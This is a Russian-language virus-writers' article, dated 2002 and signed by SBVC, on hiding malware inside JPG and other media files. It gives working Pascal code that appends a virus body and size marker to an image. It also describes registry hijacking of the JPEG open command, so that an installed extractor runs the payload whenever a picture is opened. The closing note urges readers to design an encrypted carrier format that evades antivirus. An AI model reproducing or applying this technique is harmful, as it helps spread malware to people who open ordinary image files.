В этой статье я расскажу, как можно заразить графические, звуковые и других видов файлы. На примере я расскажу о заражении JPG файлов. Суть во всем этом состоит в том, что нельзя сделать так, чтобы при открытии зараженной картинки сам по себе выполнялся наш код. Но решение этой проблемы есть. Во первых при написании такого вируса нужен экстрактор для вируса, который бы извлекал на выполнение наш код из зараженной картинки.

При заражении JPG файлов нужно обязательно соблюдать определенные правила!

Вот примерное содержание зараженного файла:

  1. САМA КАРТИНКА СО ВСЕМ, ЧТО К НЕЙ ОТНОСИТСЯ
  2. НАШ ВИРУС + (ЭКСТРАКТОР, ЕСЛИ НУЖЕН)
  3. ДАННЫЕ О 2 ПУНКТЕ, Т.Е. РАЗМЕР, АТТРИБУТЫ ВИРУСА И ВСЕГО, ЧТО К НЕМУ КАСАЕТСЯ

Нужно соблюдать эти правила потому что, если вдруг зараженная картинка попадет на другой компьютер, на котором экстрактор не от нашего вируса, а совсем от другого, то он смог бы извлечь наш вирус из зараженной картинки. Если же не соблюдать эти правила то такие вирусы быстро пропадут, т.к. при попадании на другой компьютер наш вирус становился бы просто недействующим мусором, потому что некому его извлечь и запустить.

К примеру наш вирус устанавливает в систему экстрактор, копируя его куда-нибудь в системные каталоги. Дальше он прописывает его в реестре, но, предварительно запомнив, что там находилось, для дальнейшего просмотра картинки:

HKEY_CLASSES_ROOT\jpegfile\shell\open\command "(Default)" = %windir%\EXTR.EXE %1

И при каждом открытии JPEG файла, файл сначала будет обрабатываться нашим экстрактором, извлекая наш исполняемый код и картинку для просмотра.

procedure infectjpg(jpgfile:string; viruspath:string);
var  Fjpgfile,Fviruspath,Ftemp : file;
     temp : textfile;
     buf : array [0..MaxBuf] of byte;
     size,i,jpgsize : integer;
     endoffile : string;
     bufmetka : array [0..6] of byte;
begin
    filemode:=0;
    assignfile(Fviruspath,viruspath);
    reset(Fviruspath,1);
    Seek(Fviruspath,0);
    size:=filesize(Fviruspath);
    BlockRead(Fviruspath,buf,size);
    close(Fviruspath);
    str(size,endoffile);

    while Length(endoffile)<>6 do 
      endoffile:=endoffile+' ';

    assign(temp,'c:\tempfile');
    rewrite(temp);
    Write(temp,endoffile);
    close(temp);

    assign(Ftemp,'c:\tempfile');
    reset(Ftemp,1);
    BlockRead(Ftemp,bufmetka,6);
    close(fTemp);

    filemode:=1;
    assignfile(Fjpgfile,jpgfile);
    reset(Fjpgfile,1);
    jpgsize:=filesize(Fjpgfile);
    Seek(Fjpgfile,jpgsize);
    BlockWrite(Fjpgfile,buf,size);
    Seek(Fjpgfile,jpgsize+size);
    BlockWrite(Fjpgfile,bufmetka,6);
    close(Fjpgfile);
    DeleteFile('c:\tempfile');
end;
Примечание. (by SBVC):

Наше мнение такое, что необходимо разработать какой-то стандарт хранения информации в графических и других файлах, и чтоб любой вирус или троян смог вытащить эту информацию и запустить... Большая проблема тут в том, что если "стандарт" будет очень простым, то аверы сразу же научатся "лечить" файлы-переносщики... Нужно чтоб стандарт был ооочень сложным с шифрованием и т.п... Если такое произойдёт, то какое-то время "опасными" будут любые картинки, звуковые файлы и т.д.

Предлагаем ВАМ попытаться придумать что-то подобное. Обсуждение данной темы в нашем форуме: http://sbvc.net/forum/

21.06.02